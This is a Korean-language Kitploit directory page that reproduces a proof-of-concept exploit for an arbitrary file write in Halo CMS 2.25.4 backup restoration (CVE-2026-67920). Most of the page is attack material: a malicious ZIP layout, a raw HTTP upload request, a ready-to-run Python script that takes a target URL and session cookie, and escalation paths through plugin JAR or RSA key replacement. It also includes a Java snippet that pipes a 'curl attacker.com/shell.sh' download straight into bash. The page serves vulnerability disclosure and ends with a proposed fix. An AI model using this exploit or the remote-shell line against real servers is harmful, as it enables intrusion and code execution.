Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — Halo CMS 백업 복원의 임의 파일 쓰기 취약점에 대한 개념 증명 익스플로잇으로, 플러그인 JAR 교체를 통한 RCE 또는 인증 우회를 가능하게 합니다. | Kitploit
도구/GitHubGitHub/unpredictable21/halo-2.25.4-backup-write-cve-2026-67920
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

Halo CMS 백업 복원의 임의 파일 쓰기 취약점에 대한 개념 증명 익스플로잇으로, 플러그인 JAR 교체를 통한 RCE 또는 인증 우회를 가능하게 합니다.

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Halo CMS 백업 복원 임의 파일 쓰기 취약점

요약

Halo CMS 2.25.4 이하 버전의 백업 복원 기능에 치명적인 임의 파일 쓰기 취약점이 존재합니다. MigrationServiceImpl.java의 restoreWorkdir() 메서드는 사용자가 제공한 백업 아카이브의 workdir/ 디렉터리를 파일 유형 검증, 경로 탐색 보호, 심볼릭 링크 검사 없이 Halo 애플리케이션의 작업 디렉터리(~/.halo2/)로 직접 복사합니다. 백업 관리 권한이 있는 인증된 공격자는 workdir/ 디렉터리에 임의의 파일이 포함된 악성 백업 ZIP 파일을 제작할 수 있으며, 복원 시 해당 파일이 서버의 작업 디렉터리에 기록되어 플러그인 JAR 교체를 통한 원격 코드 실행(RCE) 또는 RSA 키 교체를 통한 인증 우회로 이어질 수 있습니다.

CVSS v3.1 점수: 8.8 (높음)
CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73 (파일 이름 또는 경로의 외부 제어)


영향을 받는 버전

  • Halo CMS ≤ 2.25.4
  • 백업 복원 기능이 있는 모든 버전

취약점 세부 정보

근본 원인

취약점은 MigrationServiceImpl.java의 restoreWorkdir() 메서드(230-243행)에 있습니다:

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // 취약한 라인
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

copyRecursively() 메서드(Spring의 FileSystemUtils)는 다음 검사 없이 재귀적 복사를 수행합니다:

  1. 파일 유형 검증 - 파일 확장자 또는 MIME 유형에 대한 검사 없음
  2. 경로 탐색 보호 - 파일 이름의 .. 시퀀스에 대한 검사 없음
  3. 심볼릭 링크 감지 - 심볼릭 링크에 대한 검사 없음
  4. 파일 크기 제한 - 파일 크기 제한 없음
  5. 덮어쓰기 보호 - 기존 파일을 자동으로 덮어씀

공격 벡터

취약점은 백업 복원 엔드포인트를 통해 트리거됩니다:

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

복원 프로세스는 다음 순서로 진행됩니다:

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → ZIP을 임시 디렉터리로 추출              │
│  2. restoreExtensions() → extensions.data 복원              │
│  3. restoreWorkdir() → workdir/를 ~/.halo2/로 복사          │
│     ↑ 임의 파일이 작업 디렉터리에 기록됨                     │
└─────────────────────────────────────────────────────────────┘

악성 백업 구조

악성 백업 ZIP 파일에는 다음이 포함되어야 합니다:

root@kitploit:~
malicious-backup.zip
├── extensions.data          # 필수: 비어 있거나 유효한 JSONL 포함 가능
└── workdir/                 # 필수: 내용이 ~/.halo2/로 복사됨
    ├── PWNED_BY_POC.txt     # 개념 증명 마커 파일
    ├── plugins/             # RCE용 플러그인 JAR
    │   └── evil-plugin.jar  # 악성 플러그인
    └── keys/                # 인증 우회용 RSA 키
        ├── pat_id_rsa       # 악성 개인 키
        └── pat_id_rsa.pub   # 악성 공개 키

extensions.data 형식

extensions.data 파일은 restoreExtensions()가 성공하기 위해 유효해야 합니다. 유효한 형식은 다음과 같습니다:

  1. 빈 파일: (빈 내용)

  2. 빈 줄: \n (줄바꿈만)

  3. 유효한 JSONL: 줄마다 하나의 ExtensionStore 객체:

    root@kitploit:~
    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    여기서 data는 base64로 인코딩된 콘텐츠입니다.


악용 단계

사전 요구 사항

  • 백업 관리 권한이 있는 인증된 사용자
  • Halo API에 대한 네트워크 접근

1단계: 악성 백업 생성

root@kitploit:~
import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # 빈 extensions.data (restoreExtensions 검증 통과)
    zf.writestr('extensions.data', '\n')

    # ~/.halo2/에 기록할 임의 파일
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Arbitrary file write confirmed!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

2단계: 악성 백업 업로드

프론트엔드 백업 관리 주소: http://ip:port/console/backup

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<ZIP 파일 바이너리 내용>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

3단계: 파일 기록 확인

root@kitploit:~
# Halo 서버에서
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

영향 분석

직접적 영향

  1. 임의 파일 쓰기: 공격자는 ~/.halo2/에 모든 파일을 기록할 수 있습니다
  2. 파일 덮어쓰기: 기존 파일이 자동으로 덮어써집니다

확대 시나리오

공격 벡터대상 파일영향심각도
플러그인 JAR 교체~/.halo2/plugins/*.jar원격 코드 실행치명적
RSA 키 교체~/.halo2/keys/pat_id_rsa인증 우회치명적
테마 교체~/.halo2/themes/*저장형 XSS높음
설정 덮어쓰기~/.halo2/*.yaml보안 제어 우회높음

플러그인 JAR 교체를 통한 RCE

공격자는 합법적인 플러그인 JAR를 다음을 포함한 악성 JAR로 교체할 수 있습니다:

root@kitploit:~
@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // 임의 명령 실행
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

플러그인이 로드되면 악성 코드가 Halo 프로세스의 권한으로 실행됩니다.


개념 증명

Python PoC 스크립트

root@kitploit:~
#!/usr/bin/env python3
"""
Halo CMS 백업 복원 임의 파일 쓰기 PoC
취약점: 백업 복원 임의 파일 쓰기
CVSS: 8.8 (높음)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Halo backup restore arbitrary file write confirmed!')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] SUCCESS! 확인: cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

검증

root@kitploit:~
# PoC 실행
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# Halo 서버에서
cat ~/.halo2/PWNED_BY_POC.txt

해결 방안

권장 수정 사항

restoreWorkdir() 메서드에 검증 추가:

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // 경로 탐색 검증
                checkDirectoryTraversal(backupRoot, workdir);

                // 심볼릭 링크 검증
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("Symbolic links not allowed");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // 검증 후 복사
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

추가 권장 사항

  1. 백업 서명 구현: 변조 방지를 위해 백업에 암호화 서명 적용
  2. 파일 유형 허용 목록 추가: workdir에서 특정 파일 유형만 허용
  3. 파일 크기 제한 구현: 최대 파일 크기 제한
  4. 감사 로깅 추가: 모든 백업 복원 작업 기록
  5. 재인증 요구: 백업 복원 시 비밀번호 확인 요구

참고 자료

  • 공급업체: https://github.com/halo-dev/halo
  • 영향 코드: application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java
  • CWE-73: https://cwe.mitre.org/data/definitions/73.html
  • CVSS 계산기: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

타임라인

  • 발견 날짜: 2026-07-10
  • 공급업체 통지: [대기 중]
  • 공개 공개: [대기 중]

크레딧

  • 발견자: LIAN

면책 조항

이 취약점 공개는 보안 연구 목적으로만 제공됩니다. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다. 취약점 테스트 전에 항상 적절한 승인을 받으십시오.

도구 다운로드